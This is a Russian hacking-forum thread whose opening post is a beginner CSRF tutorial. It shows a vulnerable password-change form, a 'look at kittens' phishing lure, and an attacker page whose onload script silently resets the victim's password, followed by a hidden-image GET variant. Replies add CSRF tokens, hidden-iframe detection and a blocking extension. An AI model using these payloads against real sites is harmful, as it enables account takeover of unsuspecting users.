Готовимся к кибер-войне. Часть I (CSRF атака)

PingVinich

Bug hunter
ELEET
19.03.2017
127
293
25
Германия, Мюнхен
#1
Привет! Сегодня я решил запустить цикл статей под названием "Готовимся к кибер-войне", сначала мы познакомимся с основными атаками и уязвимостями, далее мы погрузимся в мир написания эксплойтов и зловредов, и на последок создадим свой хакерский чемоданчик. И так, ближе к теме.

Все части

Сегодня я расскажу о такой опасной атаке, как CSRF. CSRF (Cross Site Request Forgery(Межсайтовая подделка запросов)) - это атака при которой злоумышленник может выполнить различные действия на уязвимом сайте от имени других пользователей.

Выполняется это в таком порядке:
1) Жертва заманивается на сайт злоумышленника.
2) Сайт злоумышленника организован таким образом, что браузер автоматически отправляет вредоносный запрос на уязвимый сайт.Название атаки говорит само за себя.

Давайте рассмотрим небольшой пример:

Допустим что существует web-приложение (
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
) , которое принимает от пользователя пароль и изменяет его в своей базе данных. Причём делает оно это без подтверждения старого пароля или/и ввода капчи. Вот его исходники.
HTML:
<html>
  <head>
    <title>
        VulnSite - we are unsecured!
    </title>
  </head>
  <body>
     Please, enter new password!
    <form action="change.php" method="POST">
      <input type="password" name="newpassword"/>
      <input type="submit" value="Change!" />
    </form>
  </body>
</html>
А change.php в свою очередь, меняет пароль пользователя. Он и станет объектом нашей атаки. Допустим мы знаем почтовый адрес нашей жертвы, пусть он будет victim@mail.com. Отправляем ему данное содержание.
Привет! Посмотри на котиков! <a href="malicous.com/index.html" >Клик</a>
Когда жертва нажмёт на ссылку, она попадёт на зловредный сайт. Вот его исходники.
JavaScript:
<html>
  <head>
    <title>
      Malico - we will hack you!
    </title>
    <script>
    function send(){
      var site = getXmlHttp();
      site.open('POST', 'http://www.vulnsite.com/change.php',true)
      site.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
      site.send('newpassword='+ encodeURIComponent('wewillhackyou1337'))
    }
  </head>
  <body onload="send()">
    <img src="kitty.png" >
  </body>
</html>
Жертва посмотрит на котиков, а мы получим его аккаунт :). Данный JS скрипт отправит POST-запрос на уязвимый сайт от имени жертвы (если она авторизирована) при загрузке тела страницы, и пароль будет успешно изменён. Что если данные передаются GET-запросом? Тогда можно воспользоваться данным трюком:
HTML:
<img src="http://www.vulnsite.com/change.php?newpassword=wewillhackyou1337" width="0" height="0" border="0">
Напоминаю что этот способ работает когда данные передаются GET-запросом (через URL), если данные передаются POST-запросом, то как вариант, можно воспользоваться JS скриптом выше. Трюк выше исполняется из-за того, что для загрузки картинки браузер отправляет запрос по URL, который указан в src атрибуте, остальные атрибуты служат для скрытия картинки. Атака применима, когда что-то нужно изменить, потому что атакующий не сможет увидеть ответ от web-приложения. В принципе атака проста и понятна, поэтому проэксплуатировать её будет технически просто.

Ну, на этом всё, спасибо за внимание!
 
Последнее редактирование:

~~^Shad0w __ Just1ce^~~

~^_Wired FaLc❍n_^~
ELEET
19.10.2016
699
2 349
DarkSide
www.youtube.com
#2
Статья коротоко о главном) Спасибо) Дополню пожалуй тем , что как вариант можно еще применять СSRF через скрытые фреймы.
Для защиты от подобного вектора атаки используют рандомные csrf-токены и SoP (Same Orgin Policy)

Так же не плохо и доступно обьясняют этот вектор атаки специалисты Mail.Ru group:

 

~~^Shad0w __ Just1ce^~~

~^_Wired FaLc❍n_^~
ELEET
19.10.2016
699
2 349
DarkSide
www.youtube.com
#4
Такое право автора.Хотя я бы выделил бы статью как для новичков. Ничего там сложного нету) Зиродеев нету,материала немного и кратенько и простенько.))
Ну ТС так решил.Его право.
 

Inject0r

Well-Known Member
03.09.2016
113
175
#7
Прочитал статью и как новичок совершенно ничего не понял. Видеоролики от mail.ru прояснили все. Теперь страшно открывать письма в почте :)
 
Последнее редактирование:

Kismet

New Member
18.03.2017
3
2
27
#8
Как найти скрытый iframe display

Самый простой шаг – это посмотреть исходный HTML код страницы в браузере. Обратите внимание конец кода. Нет ли там странных стилей и ссылок, которые вы не ставилиВ браузере есть веб-инспектор, проверьте и через него свой сайт. В опере идем «Инструменты разработчика» - «Веб-инспектор».Еще один способ обнаружения скрытого iframe – это сделать скриншот в любом сервисе, но не ограничивая размеры, а полностью на всю высоту. Если у вас есть это окно в самом низу, то вы сразу увидите под футером бесконечную белую простынь.Посмотрите сайт в разных браузерах. Есть еще плагины для браузеров, которые тоже облегчают поиск. Например, Firebug для браузера Firefox.
 
Симпатии: Понравилось ghost

ghost

penetration testing
Grey Team
12.05.2016
820
1 314
#9
В опере идем «Инструменты разработчика» - «Веб-инспектор».
Есть еще плагины для браузеров, которые тоже облегчают поиск. Например, Firebug для браузера Firefox.
Opera еще кто-то пользуется? :)
Firebug неплохая штука, но лишние плагины не есть хорошо.
Лучше научиться читать код и использовать пкм->Inspect Element
 

~~^Shad0w __ Just1ce^~~

~^_Wired FaLc❍n_^~
ELEET
19.10.2016
699
2 349
DarkSide
www.youtube.com
#10
Симпатии: Понравилось ghost

WIPE

Active Member
11.03.2017
28
25
#12
Для Firefox есть расширение блокирующее вредоносные фреймы (на самом деле все фреймы) - reduce IFrame
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться

В случае необходимости фрейм можно включить по ПКМ